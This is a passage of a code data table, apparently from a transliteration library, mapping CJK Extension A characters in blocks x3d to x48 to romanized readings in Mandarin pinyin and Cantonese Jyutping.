'Qie ','Sha ','Xu ','Ya ','Po ','Zu ','You ','Zi ','Lian ','Jin ','Xia ','Yi ','Qie ','Mi ','Jiao ','Hei ',
'Chi ','Shi ','Fong ','Yin ','Mo ','Yi ','Hei ','Se ','Jin ','Ye ','Zaau ','Que ','Che ','Luan ','Kwaan ','Zheng ',
'','','Ho ','','Se ','Gwai ','Cui ','Zaau ','An ','Xiu ','Can ','Chuan ','Zha ','','Ji ','Bo ',
'Fu ','Sing ','Lang ','Tui ','Sek6','Ling ','E ','Wo ','Lian ','Du ','Men ','Lan ','Wei ','Duan ','Kuai ','Ai ',
'Zai ','Hui ','Yi ','Mo ','Zi ','Ben ','Beng ','','Bi ','Li ','Lu ','Luo ','Hoi ','Dan ','Goi ','Que ',
'Chen ','Hung ','Cheng ','Jiu ','Kou ','Ji ','Ling ','Ci ','Shao ','Kai ','Rui ','Chuo ','Neng ','Zi ','Lou ','Bao ',
'','','Bao ','Rong ','Saan ','Lei ','Siu ','Fu ','Qu ','Saau ','Saa ','Zhi ','Tan ','Rong ','Zu ','Ying ',
'Mao ','Nai ','Bian ','Saau ','Seoi ','Tang ','Han ','Zao ','Rong ','','Dang ','Pu ','Ziu ','Tan ','','Ran ',
'Ning ','Lie ','Die ','Die ','Zhong ','Siu ','Lu ','Dan ','Kap ','Gui ','Ji ','Ni ','Yi ','Nian ','Yu ','Wang ',
'Guo ','Ze ','Yan ','Cui ','Xian ','Jiao ','Shu ','Fu ','Pei ','Ngoet ','Zaau ','Zaau ','Nhop ','Bu ','Bian ','Chi ',
'Sa ','Yi ','Bian ','','Dui ','Lan ','Zi ','Chai ','Cung ','Xuan ','Yu ','Yu ','Zaau ','Hong ','Cung ','',
'Ta ','Gwo ','','','Suk6','Ju ','Xie ','Xi ','Jian ','Tan ','Pan ','Ta ','Xuan ','Xian ','Niao ','Tan ',
'Gaau ','','','','Mi ','Ji ','Gou ','Wen ','Faa ','Wang ','You ','Ze ','Bi ','Mi ','Goeng ','Xie ',
],
'x3d':[
'Fan ','Yi ','Dam ','Lei ','Ying ','Siu ','Jin ','She ','Yin ','Ji ','Zyun ','Su ','','','','Wang ',
'Mian ','Su ','Yi ','Zai ','Se ','Ji ','Luo ','Zaau ','Mao ','Zha ','Sui ','Zhi ','Bian ','Li ','Caai ','',
'','','','','','Qiao ','Guan ','','Zhen ','Zung ','Nie ','Jun ','Xie ','Yao ','Xie ','Zi ',
'Neng ','Sam ','Si ','Long ','Chen ','Mi ','Que ','Dam ','Na ','','','','Su ','Xie ','Bo ','Ding ',
'Cuan ','Fong ','Chuang ','Che ','Han ','Dan ','Hao ','','','','Shen ','Mi ','Chan ','Men ','Han ','Cui ',
'Jue ','He ','Fei ','Shi ','Che ','Shen ','Nu ','Fu ','Man ','Cing ','','','','Yi ','Chou ','Mei ',
'Faat ','Bao ','Lei ','Ke ','Dian ','Bi ','Sui ','Ge ','Bi ','Yi ','Xian ','Ni ','Ying ','Zhu ','Chun ','Feng ',
'Xu ','Piao ','Wu ','Liao ','Cang ','Zou ','Ceoi ','Bian ','Yao ','Huan ','Pai ','Sou ','','Dui ','Jing ','Xi ',
'Bak6','Guo ','','','Yan ','Xue ','Chu ','Heng ','Ying ','','','','Lian ','Xian ','Huan ','Zaan ',
'','Lian ','Shan ','Cang ','Bei ','Jian ','Shu ','Fan ','Dian ','','Ba ','Yu ','Zyun ','','Nang ','Lei ',
'Yi ','Dai ','','Chan ','Chao ','Gon ','Jin ','Nen ','Pei ','','','Liao ','Mei ','Jiu ','Siu ','Liu ',
'Han ','','Yong ','Jin ','Chi ','Ren ','Nong ','','','Hong ','Tian ','Bung ','Oi ','Gwaa ','Biu ','Bo ',
'Qiong ','','Shu ','Cui ','Hui ','Chao ','Dou ','Guai ','E ','Wei ','Fen ','Tan ','','Lun ','He ','Yong ',
'Hui ','Nim6','Yu ','Zong ','Yan ','Qiu ','Zhao ','Jiong ','Tai ','Zin ','','Bou ','','Dut ','','Tui ',
'Lin ','Jiong ','Zha ','Sing ','He ','Zing ','Xu ','','','Hei ','Cui ','Qing ','Mo ','Fung ','Zou ','Beng ',
'Li ','','','Yan ','Ge ','Mo ','Bei ','Juan ','Die ','Shao ','','Wu ','Yan ','','Jue ','Hin ',
],
'x3e':[
'Tai ','Han ','','Dian ','Ji ','Jie ','','','Ziu ','Xie ','La ','Fan ','Huo ','Xi ','Nie ','Mi ',
'Ran ','Cuan ','Yin ','Mi ','','Jue ','Keoi ','Tong ','Wan ','Ze ','Li ','Shao ','Kong ','Kan ','Ban ','Taai ',
'Tiao ','Syu ','Bei ','Ye ','Pian ','Chan ','Hu ','Ken ','Gaau ','An ','Chun ','Qian ','Bei ','Baa ','Fen ','Fo ',
'Tuo ','Tuo ','Zuo ','Ling ','','Gui ','Zin ','Shi ','Hou ','Lie ','Saa ','Si ','Fung ','Bei ','Ren ','Du ',
'Bo ','Liang ','Ci ','Bi ','Ji ','Zong ','Fai ','He ','Li ','Yuan ','Yue ','Saau ','Chan ','Di ','Lei ','Jin ',
'Chong ','Si ','Pu ','Yi ','Goeng ','Fun ','Huan ','Tao ','Ru ','Ying ','Ying ','Rao ','Yin ','Shi ','Yin ','Jue ',
'Tun ','Xuan ','Gaa ','Zung ','Qie ','Zhu ','Ciu ','Zoeng ','You ','','Saan ','Xi ','Shi ','Yi ','Mo ','Huou ',
'','Hu ','Xiao ','Wu ','Gang ','Jing ','Ting ','Shi ','Ni ','Gang ','Ta ','Waai ','Chu ','Chan ','Piao ','Diao ',
'Nao ','Nao ','Gan ','Gou ','Yu ','Hou ','','Si ','Ci ','Hu ','Yang ','Zung ','Xian ','Ban ','Rong ','Lou ',
'Zhao ','Can ','Liao ','Piao ','Hai ','Fan ','Han ','Dan ','Zhan ','','Ta ','Zhu ','Ban ','Jian ','Yu ','Zhuo ',
'You ','Li ','Kut ','Hei ','Cim ','Chan ','Lian ','Heo ','Si ','Jiu ','Pu ','Qiu ','Gong ','Zi ','Yu ','',
'Si ','Reng ','Niu ','Mei ','Baat ','Jiu ','','Xu ','Ping ','Bian ','Mao ','','','','','Yi ',
'You ','Gwai ','Ping ','Kuk ','Bao ','Hui ','','','','Bu ','Mang ','La ','Tu ','Wu ','Li ','Ling ',
'','Ji ','Jun ','Lit6','Duo ','Jue ','Dai ','Bei ','','','','','','La ','Bian ','Sui ',
'Tu ','Die ','','','','','','Duo ','','','Sui ','Bi ','Tu ','Se ','Can ','Tu ',
'Mian ','Zeon ','Lu ','','','Zhan ','Bi ','Ji ','Cen ','Hyun ','Li ','','','Sui ','Zung ','Shu ',
],
'x3f':[
'','','E ','','Gei ','','','Qiong ','Luo ','Yin ','Tun ','Gu ','Yu ','Lei ','Bei ','Nei ',
'Pian ','Lian ','Qiu ','Lian ','Waan ','Dong ','Li ','Ding ','Wa ','Zhou ','Gong ','Xing ','Ang ','Fan ','Peng ','Bai ',
'Tuo ','Syu ','E ','Bai ','Qi ','Chu ','Gong ','Tong ','Han ','Cheng ','Jia ','Huan ','Xing ','Dian ','Mai ','Dong ',
'E ','Ruan ','Lie ','Sheng ','Ou ','Di ','Yu ','Chuan ','Rong ','Hong ','Tang ','Cong ','Piao ','Shuang ','Lu ','Tong ',
'Zheng ','Li ','Sa ','Ban ','Si ','Dang ','Dong ','Guai ','Yi ','Han ','Xie ','Luo ','Liu ','Ham ','Dan ','',
'Cim ','Tan ','Saang ','','','You ','Nan ','','Gang ','Jun ','Chi ','Kou ','Wan ','Li ','Liu ','Lie ',
'Xia ','Baai ','An ','Yu ','Ju ','Rou ','Xun ','Zi ','Cuo ','Can ','Zeng ','Yong ','Fu ','Ruan ','Sing ','Xi ',
'Shu ','Jiao ','Jiao ','Han ','Zhang ','Zong ','','Shui ','Chen ','Fan ','Ji ','Zi ','','Gu ','Wu ','Cui ',
'Qie ','Shu ','Hoi ','Tuo ','Du ','Si ','Ran ','Mu ','Fu ','Ling ','Ji ','Xiu ','Xuan ','Nai ','At ','Jie ',
'Li ','Da ','Ji ','Zyun ','Lu ','Shen ','Li ','Lang ','Geng ','Yin ','Se ','Qin ','Qie ','Che ','You ','Bu ',
'Huang ','Que ','Lai ','Zaam ','Hong ','Xu ','Bang ','Ke ','Qi ','Gwaai ','Sheng ','Pin ','Gaai ','Zhou ','Huang ','Tui ',
'Hu ','Bei ','','','Zaa ','Ji ','Gu ','Sai ','Gao ','Chai ','Ma ','Zhu ','Tui ','Tui ','Lian ','Lang ',
'Baan ','','Zing ','Dai ','Ai ','Xian ','Gwo ','Xi ','Zung ','Tui ','Can ','Sao ','Cim ','Jie ','Fen ','Qun ',
'','Yao ','Dao ','Jia ','Lei ','Yan ','Lu ','Tui ','Ying ','Pi ','Luo ','Li ','Bie ','Hoeng ','Mao ','Bai ',
'huang ','Dau ','Yao ','He ','Chun ','Hu ','Ning ','Chou ','Li ','Tang ','Huan ','Bi ','Baa ','Che ','Yang ','Da ',
'Ao ','Xue ','Zi ','','Daap ','Ran ','Bong ','Zao ','Wan ','Ta ','Bao ','Gon ','Yan ','Gaai ','Zhu ','Ya ',
],
'x40':[
'Fan ','You ','On ','Tui ','Meng ','She ','Jin ','Gu ','Qi ','Qiao ','Jiao ','Yan ','','Kan ','Mian ','Xian ',
'San ','Na ','Cin ','Huan ','Niu ','Cheng ','Tin ','Jue ','Xi ','Qi ','Ang ','Mei ','Gu ','','Tou ','Fan ',
'Qu ','Chan ','Shun ','Bi ','Mao ','Shuo ','Gu ','Hong ','Huan ','Luo ','Hang ','Jia ','Quan ','Goi ','Mang ','Bu ',
'Gu ','Fung ','Mu ','Ai ','Ying ','Shun ','Lang ','Jie ','Di ','Jie ','Cau ','Pin ','Ren ','Yan ','Du ','Di ',
'','Lang ','Xian ','Biu ','Xing ','Bei ','An ','Mi ','Qi ','Qi ','Wo ','She ','Yu ','Jia ','Cheng ','Yao ',
'Ying ','Yang ','Ji ','Jie ','Han ','Min ','Lou ','Kai ','Yao ','Yan ','Sun ','Gui ','Huang ','Ying ','Sheng ','Cha ',
'Lian ','','Xuan ','Chuan ','Che ','Ni ','Qu ','Miao ','Huo ','Yu ','Nan ','Hu ','Ceng ','Biu ','Qian ','She ',
'Jiang ','Ao ','Mai ','Mang ','Zhan ','Bian ','Jiao ','Jue ','Nong ','Bi ','Shi ','Li ','Mo ','Lie ','Mie ','Mo ',
'Xi ','Chan ','Qu ','Jiao ','Huo ','Zin ','Xu ','Nang ','Tong ','Hou ','Yu ','','Cung ','Bo ','Zuan ','Diu ',
'Chuo ','Ci ','Jie ','Kwai ','Xing ','Hui ','Shi ','Gwaat6','Caam ','','Yao ','Yu ','Bang ','Jie ','Zhe ','Gaa ',
'She ','Di ','Dong ','Ci ','Fu ','Min ','Zhen ','Zhen ','','Yan ','Diao ','Hong ','Gong ','Diu6','Lue ','Guai ',
'La ','Cui ','Fa ','Cuo ','Yan ','Gung ','Jie ','Gwaai ','Guo ','Suo ','Wan ','Zheng ','Nie ','Diao ','Lai ','Ta ',
'Cui ','Aa ','Gun ','','','Dai ','','Mian ','Gaai ','Min ','Ju ','Yu ','Zan ','Zhao ','Ze ','Saang ',
'','Pan ','He ','Gou ','Hong ','Lao ','Wu ','Chuo ','Hang ','Lu ','Cu ','Lian ','Zi ','Qiao ','Shu ','',
'xuan ','Cen ','Zaam ','Hui ','Su ','Chuang ','Deon ','Long ','','Nao ','Tan ','Dan ','Wei ','Gan ','Da ','Li ',
'Caat ','Xian ','Pan ','La ','Zyu ','Niao ','Huai ','Ying ','Xian ','Lan ','Mo ','Ba ','','Fu ','Bi ','Fu ',
],
'x41':[
'Huo ','Yi ','Liu ','Zoeng ','Zaan ','Juan ','Huo ','Cheng ','Dou ','E ','','Yan ','Zhui ','Du ','Qi ','Yu ',
'Quan ','Huo ','Nie ','Heng ','Ju ','She ','','','Peng ','Ming ','Cao ','Lou ','Li ','Chun ','','Cui ',
'Shan ','Daam ','Qi ','','Lai ','Ling ','Liao ','Reng ','Yu ','Nao ','Chuo ','Qi ','Yi ','Nian ','Fu ','Jian ',
'Ya ','Fong ','Chui ','Cin ','','','Bi ','Dan ','Po ','Nian ','Zhi ','Chao ','Tian ','Tian ','Rou ','Yi ',
'Lie ','An ','He ','Qiong ','Li ','Gwai ','Zi ','Su ','Yuan ','Ya ','Du ','Wan ','Gyun ','Dong ','You ','Hui ',
'Jian ','Rui ','Mang ','Ju ','Zi ','Geoi ','An ','Sui ','Lai ','Hun ','Qiang ','Coeng ','Duo ','Hung ','Na ','Can ',
'Ti ','Xu ','Jiu ','Huang ','Qi ','Jie ','Mao ','Yan ','Heoi ','Zhi ','Tui ','','Ai ','Pang ','Cang ','Tang ',
'En ','Hun ','Qi ','Chu ','Suo ','Zhuo ','Nou ','Tu ','Zu ','Lou ','Miao ','Li ','Man ','Gu ','Cen ','Hua ',
'Mei ','Gou ','Lian ','Dao ','Shan ','Ci ','','','Zhi ','Ba ','Cui ','Qiu ','','Long ','Cim ','Fei ',
'Guo ','Cheng ','Jiu ','E ','Cung ','Jue ','Hong ','Jiao ','Cuan ','Yao ','Tong ','Cha ','You ','Shu ','Yao ','Ge ',
'Huan ','Lang ','Jue ','Chen ','Cyun ','Cyun ','Shen ','Fo ','Ming ','Ming ','Hung ','Chuang ','Yun ','Han6','Jin ','Chuo ',
'Zyu ','Tan ','Hong ','Qiong ','','Cheng ','Zaau ','Yu ','Cheng ','Tong ','Pun ','Qiao ','Fo ','Ju ','Lan ','Yi ',
'Rong ','Si ','Hin ','Si ','Ngat ','Fa ','','Meng ','Gui ','','','Hai ','Qiao ','Chuo ','Que ','Dui ',
'Li ','Ba ','Jie ','Seoi ','Luo ','Deoi ','Yun ','Zung ','Hu ','Yin ','Pok ','Zhi ','Lian ','Zim ','Gan ','Jian ',
'Zhou ','Zhu ','Ku ','Na ','Dui ','Ze ','Yang ','Zhu ','Gong ','Yi ','Ci ','Gei ','Chuang ','Lao ','Ren ','Rong ',
'Zing ','Na ','Ce ','Zin ','','Yi ','Jue ','Bi ','Cheng ','Jun ','Chou ','Hui ','Chi ','Zhi ','Yan ','',
],
'x42':[
'Saan ','Lun ','Bing ','Zhao ','Han ','Yu ','Dai ','Zhao ','Fei ','Sha ','Ling ','Ta ','Zeoi ','Mang ','Ye ','Bao ',
'Kui ','Gua ','Nan ','Ge ','Gaa ','Chi ','Fo ','Suo ','Ci ','Zhou ','Tai ','Kuai ','Qin ','Seoi ','Du ','Ce ',
'Huan ','Gung ','Sai ','Zheng ','Qian ','Gan ','Zung ','Wei ','','','Xi ','Na ','Pu ','Huai ','Ju ','Zaan ',
'Sau ','Tou ','Pan ','Ta ','Qian ','Zung ','Rong ','Luo ','Hu ','Sou ','Zung ','Pu ','Mie ','Gan ','Shuo ','Mai ',
'Shu ','Ling ','Lei ','Jiang ','Leng ','Zhi ','Diao ','','San ','Hu ','Fan ','Mei ','Sui ','Jian ','Tang ','Xie ',
'Fu ','Mo ','Fan ','Lei ','Can ','Ceng ','Ling ','Zaap ','Cong ','Yun ','Meng ','Yu ','Zhi ','Qi ','Dan ','Huo ',
'Wei ','Tan ','Se ','Xie ','Sou ','Song ','Cin ','Liu ','Yi ','Aau ','Lei ','Li ','Fei ','Lie ','Lin ','Xian ',
'Yao ','Aau ','Bie ','Xian ','Rang ','Zhuan ','Soeng ','Dan ','Bian ','Ling ','Hong ','Qi ','Liao ','Ban ','Mi ','Hu ',
'Hu ','Caap ','Ce ','Pei ','Qiong ','Ming ','Jiu ','Bu ','Mei ','San ','Mei ','Zong ','','Li ','Quan ','Sam ',
'En ','Xiang ','Zing ','Shi ','Zing ','Gin ','Lan ','Huang ','Jiu ','Yan ','Deoi ','Sa ','Tuan ','Xie ','Zhe ','Men ',
'Xi ','Man ','Zoeng ','Huang ','Tan ','Xiao ','Ya ','Bi ','Luo ','Fan ','Li ','Cui ','Cha ','Chou ','Di ','Kuang ',
'Chu ','Cim ','Chan ','Mi ','Qian ','Qiu ','Zhen ','Chai ','Heoi ','Cim ','Gu ','Yan ','Chi ','Guai ','Mu ','Bo ',
'Kua ','Geng ','Yao ','Mao ','Wang ','','','','Ru ','Jue ','Zing ','Min ','Jiang ','O ','Zhan ','Zuo ',
'Yue ','Bing ','Nou6','Zhou ','Bi ','Ren ','Yu ','Gin ','Chuo ','Er ','Yi ','Mi ','Qing ','Zing ','Wang ','Ji ',
'Bu ','Syu ','Bie ','Fan ','Yao ','Li ','Fan ','Qu ','Fu ','Er ','O ','Zang ','Zim ','Huo ','Jin ','Qi ',
'Ju ','Lai ','Che ','Bei ','Niu ','Yi ','Xu ','Liu ','Xun ','Fu ','Cau ','Nin ','Ting ','Beng ','Zha ','Wui ',
],
'x43':[
'Fo ','Zaau ','Ou ','Shuo ','Geng ','Tang ','Gui ','Hui ','Ta ','Gong ','Yao ','Daap ','Qi ','Han ','Lue ','Mi ',
'Mi ','Gin ','Lu ','Fan ','Ou ','Mi ','Jie ','Fu ','Mi ','Huang ','Su ','Yao ','Nie ','Jin ','Lian ','Bi ',
'Qing ','Ti ','Ling ','Zuan ','Zhi ','Yin ','Dao ','Chou ','Cai ','Mi ','Yan ','Lan ','Chong ','Ziu ','Soeng ','Guan ',
'She ','Luo ','Fan ','Si ','Luo ','Zhu ','Zi ','Chou ','Juan ','Jiong ','Er ','Yi ','Rui ','Cai ','Ren ','Fu ',
'Lan ','Sui ','Yu ','Yao ','Dian ','Ling ','Zhu ','Ta ','Ping ','Qian ','Jue ','Chui ','Bu ','Gu ','Cun ','',
'Han ','Han ','Mou ','Hu ','Hong ','Di ','Fu ','Xuan ','Mi ','Mei ','Lang ','Gu ','Zhao ','Ta ','Yu ','Zong ',
'Li ','Liao ','Wu ','Lei ','Ji ','Lei ','Li ','Zong ','Bo ','Ang ','Kui ','Tuo ','Ping ','Cau ','Zhao ','Gui ',
'Zaan ','Xu ','Nai ','Chuo ','Duo ','Kaap ','Dong ','Gui ','Bo ','Zin ','Huan ','Xuan ','Can ','Li ','Tui ','Huang ',
'Xue ','Hu ','Bao ','Ran ','Tiao ','Fu ','Liao ','Zaau ','Yi ','Shu ','Po ','He ','Cu ','Fu ','Na ','An ',
'Chao ','Lu ','Zhan ','Ta ','Fu ','Gwaang ','Zang ','Qiao ','Su ','Baan ','Guan ','','Fan ','Chu ','','Er ',
'Er ','Nuan ','Qi ','Si ','Chu ','','Yan ','Bang ','An ','Zi ','Ne ','Chuang ','Ba ','Ciu ','Ti ','Han ',
'Zuo ','Ba ','Zhe ','Wa ','Sheng ','Bi ','Er ','Zhu ','Wu ','Wen ','Zhi ','Zhou ','Lu ','Wen ','Gun ','Qiu ',
'La ','Zai ','Sou ','Mian ','Zhi ','Qi ','Cao ','Piao ','Lian ','Saap ','Long ','Su ','Qi ','Yuan ','Feng ','Heoi ',
'Jue ','Di ','Pian ','Guan ','Niu ','Ren ','Zhen ','Gai ','Pi ','Tan ','Chao ','Chun ','Ho ','Chun ','Mo ','Bie ',
'Qi ','Shi ','Bi ','Jue ','Si ','Taam ','Hua ','Na ','Hui ','Kaap ','Er ','Caau ','Mou ','Zyu ','Xi ','Zhi ',
'Ren ','Ju ','Die ','Zhe ','Shao ','Meng ','Bi ','Han ','Yu ','Xian ','Pong ','Neng ','Can ','Bu ','Bong ','Qi ',
],
'x44':[
'Ji ','Niao ','Lu ','Jiong ','Han ','Yi ','Cai ','Chun ','Zhi ','Zi ','Da ','Cung ','Tian ','Zhou ','Daai ','Chun ',
'Cau ','Zhe ','Zaa ','Rou ','Bin ','Ji ','Yi ','Du ','Jue ','Ge ','Ji ','Dap ','Can ','Suo ','Ruo ','Xiang ',
'Huang ','Qi ','Zhu ','Cuo ','Chi ','Weng ','Haap6','Kao ','Gu ','Kai ','Fan ','Sung ','Cao ','Zhi ','Chan ','Lei ',
'Gaau ','Zak6','Zhe ','Yu ','Gui ','Huang ','Jin ','Daan ','Guo ','Sao ','Tan ','','Xi ','Man ','Duo ','Ao ',
'Pi ','Wu ','Ai ','Meng ','Pi ','Meng ','Yang ','Zhi ','Bo ','Ying ','Wei ','Nao ','Lan ','Yan ','Chan ','Quan ',
'Zhen ','Pu ','','Tai ','Fei ','Shu ','','Dang ','Cha ','Ran ','Tian ','Chi ','Ta ','Jia ','Shun ','Huang ',
'Liao ','Caa ','Dou ','','Jin ','E ','Keoi ','Fu ','Duo ','','E ','','Yao ','Di ','','Di ',
'Bu ','Man ','Che ','Lun ','Qi ','Mu ','Can ','','Zung ','Sau ','Fan ','You ','Saau ','Da ','','Su ',
'Fu ','Ji ','Jiang ','Cao ','Bo ','Teng ','Che ','Fu ','Bu ','Wu ','Haai ','Yang ','Ming ','Pang ','Mang ','Zang ',
'Meng ','Cao ','Tiao ','Kai ','Bai ','Xiao ','Xin ','Qi ','Seoi ','','Shao ','Heng ','Niu ','Xiao ','Chen ','Daan ',
'Fan ','Yin ','Ang ','Ran ','Ri ','Fa ','Fan ','Qu ','Shi ','He ','Bian ','Dai ','Mo ','Deng ','','',
'Hong ','Zing ','Cha ','Duo ','You ','Hao ','Tin ','Kut ','Xian ','Lei ','Jin ','Qi ','','Mei ','Zi ','',
'','','Yan ','Yi ','Yin ','Qi ','Zhe ','Xi ','Yi ','Ye ','E ','','Zhi ','Han ','Chuo ','',
'Chun ','Bing ','Kuai ','Chou ','','Tuo ','Qiong ','Cung ','Jiu ','Gwai ','Cu ','Fu ','','Meng ','Li ','Lie ',
'Ta ','Zi ','Gu ','Liang ','Fat ','La ','Dian ','Ci ','Aang ','','','Ji ','','Cha ','Mao ','Du ',
'Zaan ','Chai ','Rui ','Hen ','Ruan ','','Lai ','Xing ','Gan ','Yi ','Mei ','','He ','Ji ','So ','Han ',
],
'x45':[
'Seoi ','Li ','Zi ','Zu ','Yao ','Geoi ','Li ','Qi ','Gan ','Li ','','','','','Su ','Chou ',
'','Xie ','Bei ','Xu ','Jing ','Pu ','Ling ','Xiang ','Zuo ','Diao ','Chun ','Qing ','Nan ','','Lu ','Chi ',
'Shao ','Yu ','Hua ','Li ','','Siu ','','Li ','','','Dui ','','Yi ','Ning ','Si ','Hu ',
'Fu ','Zaap ','Cheng ','Nan ','Ce ','Gaan ','Ti ','Qin ','Biao ','Sui ','Wei ','Deon ','Se ','Ai ','E ','Jie ',
'Kuan ','Fei ','','Yin ','Zing ','Sao ','Dou ','Hui ','Xie ','Ze ','Tan ','Chang ','Zhi ','Yi ','Fu ','E ',
'','Jun ','Gaa ','Cha ','Xian ','Man ','Syun ','Bi ','Ling ','Jie ','Kui ','Jia ','','Sang ','Lang ','Guk ',
'Fei ','Lu ','Zha ','He ','','Ni ','Ying ','Xiao ','Teng ','Lao ','Ze ','Kui ','Goeng ','Qian ','Ju ','Piao ',
'Ban ','Dou ','Lin ','Mi ','Zhuo ','Xie ','Hu ','Mi ','Gaai ','Za ','Cong ','Ge ','Nan ','Zhu ','Yan ','Han ',
'Ceoi ','Yi ','Luan ','Yue ','Ran ','Ling ','Niang ','Yu ','Nue ','Heoi ','Yi ','Nue ','Qin ','Qian ','Xia ','Chu ',
'Jin ','Mi ','','Na ','Han ','Zu ','Xia ','Yan ','Tu ','','Wu ','Suo ','Yin ','Chong ','Zhou ','Mang ',
'Yuan ','Nu ','Miao ','Sao ','Wan ','Li ','','Na ','Shi ','Bi ','Ci ','Bang ','','Juan ','Xiang ','Gui ',
'Pai ','Hong ','Xun ','Zha ','Yao ','Kwan ','','He ','E ','Yang ','Tiao ','You ','Jue ','Li ','','Li ',
'','Ji ','Hu ','Zhan ','Fu ','Chang ','Guan ','Ju ','Meng ','Coeng ','Cheng ','Mou ','Sing ','Li ','Zaan ','',
'Si ','Yi ','Bing ','Cung ','Hou ','Wan ','Chi ','','Ge ','Han ','Bo ','Saau ','Liu ','Can ','Can ','Yi ',
'Xuan ','Yan ','Suo ','Gao ','Yong ','Zung ','Fung ','Hong ','Yu ','Cik ','Zhe ','Ma ','Fung ','','Shuang ','Jin ',
'Guan ','Pu ','Lin ','','Ting ','Goeng ','La ','Yi ','Zung ','Ci ','Yan ','Jie ','Faan ','Wei ','Xian ','Ning ',
],
'x46':[
'Fu ','Ge ','','Mo ','Fu ','Nai ','Xian ','Wen ','Li ','Can ','Mie ','','Ni ','Chai ','Wan ','Xu ',
'Nu ','Mai ','Co ','Kan ','Ho ','Hang ','','Faai ','Yu ','Wei ','Zhu ','Gei ','Gan ','Yi ','','',
'Fu ','Bi ','Zhu ','Zi ','Shu ','Xia ','Ni ','','Jiao ','Xuan ','Cung ','Nou ','Rong ','Die ','Sa ','Sau ',
'','Yu ','','Kaam ','Zung ','Lu ','Han ','','Yi ','Zui ','Zhan ','Su ','Wan ','Ni ','Guan ','Jue ',
'Beng ','Can ','Zung ','Duo ','Qi ','Yao ','Gui ','Nuan ','Hou ','Xun ','Xie ','','Hui ','','Xie ','Bo ',
'Ke ','Ceoi ','Xu ','Bai ','Aau ','Chu ','Bang ','Ti ','Chu ','Chi ','Niao ','Guan ','Feng ','Xie ','Dang ','Duo ',
'Jue ','Hui ','Zeng ','Sa ','Duo ','Ling ','Meng ','Fan ','Guo ','Meng ','Long ','','Ying ','Hin ','Guan ','Cu ',
'Li ','Du ','Ceng ','E ','Sin ','Saai ','','De ','De ','Jiang ','Lian ','','Shao ','Xi ','Si ','Wei ',
'','','He ','You ','Lu ','Lai ','Ou ','Sheng ','Juan ','Qi ','','Yun ','','Qi ','Zong ','Leng ',
'Ji ','Mai ','Chuang ','Nian ','Baan ','Li ','Ling ','Gong ','Chen ','','Xian ','Hu ','Bei ','Zu ','Dai ','Dai ',
'Hun ','Soi ','Che ','Ti ','','Nuo ','Zhi ','Liu ','Fei ','Jiao ','Gwaan ','Ao ','Lin ','','Reng ','Tao ',
'Pi ','Xin ','Shan ','Xie ','Wa ','Tao ','Tin ','Xi ','Xie ','Pi ','Yao ','Yao ','Nu ','Hao ','Nin ','Yin ',
'Fan ','Nan ','Chi ','Wang ','Yuan ','Xia ','Zhou ','Yuan ','Shi ','Mi ','','Ge ','Pao ','Fei ','Hu ','Ni ',
'Ci ','Mi ','Bian ','Gam ','Na ','Yu ','E ','Zhi ','Nin ','Xu ','Lue ','Hui ','Xun ','Nao ','Han ','Jia ',
'Dou ','Hua ','Tuk ','','Cu ','Xi ','Song ','Mi ','Xin ','Wu ','Qiong ','Zheng ','Chou ','Xing ','Jiu ','Ju ',
'Hun ','Ti ','Man ','Jian ','Qi ','Shou ','Lei ','Wan ','Che ','Can ','Jie ','You ','Hui ','Zha ','Su ','Ge ',
],
'x47':[
'Nao ','Xi ','','Deoi ','Chi ','Wei ','Mo ','Gun ','Cau ','','Zao ','Hui ','Luan ','Liao ','Lao ','',
'','Qia ','Ao ','Nie ','Sui ','Mai ','Tan ','Xin ','Jing ','An ','Ta ','Chan ','Wei ','Tuan ','Ji ','Chen ',
'Che ','Xu ','Xian ','Xin ','','Daan ','','Nao ','','Yan ','Qiu ','Hong ','Song ','Jun ','Liao ','Ju ',
'','Man ','Lie ','','Chu ','Chi ','Xiang ','Cam ','Mei ','Shu ','Ce ','Chi ','Gu ','Yu ','Zaam ','',
'Liao ','Lao ','Shu ','Zhe ','Soeng ','','Fat ','Fui ','E ','','Sha ','Zong ','Jue ','Jun ','','Lou ',
'Wei ','Cung ','Zhu ','La ','Fun ','Zhe ','Zhao ','Zaau ','Yi ','','Ni ','Bo ','Syun ','Yi ','Hao ','Ya ',
'Huan ','Man ','Man ','Qu ','Lao ','Hao ','','Men ','Xian ','Zhen ','Shu ','Zuo ','Zhu ','Gou ','Xuan ','Yi ',
'Ti ','xie ','Jin ','Can ','Zai ','Bu ','Liang ','Zhi ','Ji ','Wan ','Guan ','Ceoi ','Qing ','Ai ','Fu ','Gui ',
'Gou ','Xian ','Ruan ','Zhi ','Biao ','Yi ','Suo ','Die ','Gui ','Sheng ','Xun ','Chen ','She ','Qing ','','',
'Chun ','Hong ','Dong ','Cheng ','Wei ','Die ','Shu ','Caai ','Ji ','Za ','Qi ','','Fu ','Ao ','Fu ','Po ',
'','Tan ','Zha ','Che ','Qu ','You ','He ','Hou ','Gui ','E ','Jiang ','Yun ','Tou ','Qiu ','','Fu ',
'Zuo ','Hu ','','Bo ','','Jue ','Di ','Jue ','Fu ','Huang ','','Yong ','Chui ','Suo ','Chi ','Hin ',
'','','Man ','Ca ','Qi ','Jian ','Bi ','Gei ','Zhi ','Zhu ','Qu ','Zhan ','Ji ','Dian ','','Li ',
'Li ','La ','Quan ','Ding ','Fu ','Cha ','Tang ','Shi ','Hang ','Qie ','Qi ','Bo ','Na ','Tou ','Chu ','Cu ',
'Yue ','Di ','Chen ','Chu ','Bi ','Mang ','Ba ','Tian ','Min ','Lie ','Feng ','Caang ','Qiu ','Tiao ','Fu ','Kuo ',
'Jian ','Ci ','','','Zhen ','Qiu ','Cuo ','Chi ','Kui ','Lie ','Bang ','Du ','Wu ','So ','Jue ','Lu ',
],
'x48':[
'Chang ','Zai ','Chu ','Liang ','Tian ','Kun ','Chang ','Jue ','Tu ','Hua ','Fei ','Bi ','','Qia ','Wo ','Ji ',
'Qu ','Kui ','Hu ','Cu ','Sui ','','','Qiu ','Pi ','Bei ','Wa ','Jiao ','Rong ','','Cu ','Die ',
'Chi ','Cuo ','Meng ','Xuan ','Duo ','Bie ','Zhe ','Chu ','Chan ','Gui ','Duan ','Zou ','Deng ','Lai ','Teng ','Yue ',
'Quan ','Shu ','Ling ','','Qin ','Fu ','She ','Tiao ','','Ai ','','Qiong ','Diao ','Hai ','Shan ','Wai ',
'Zhan ','Long ','Jiu ','Li ','','Min ','Rong ','Yue ','Jue ','Kang ','Fan ','Qi ','Hong ','Fu ','Lu ','Hong ',
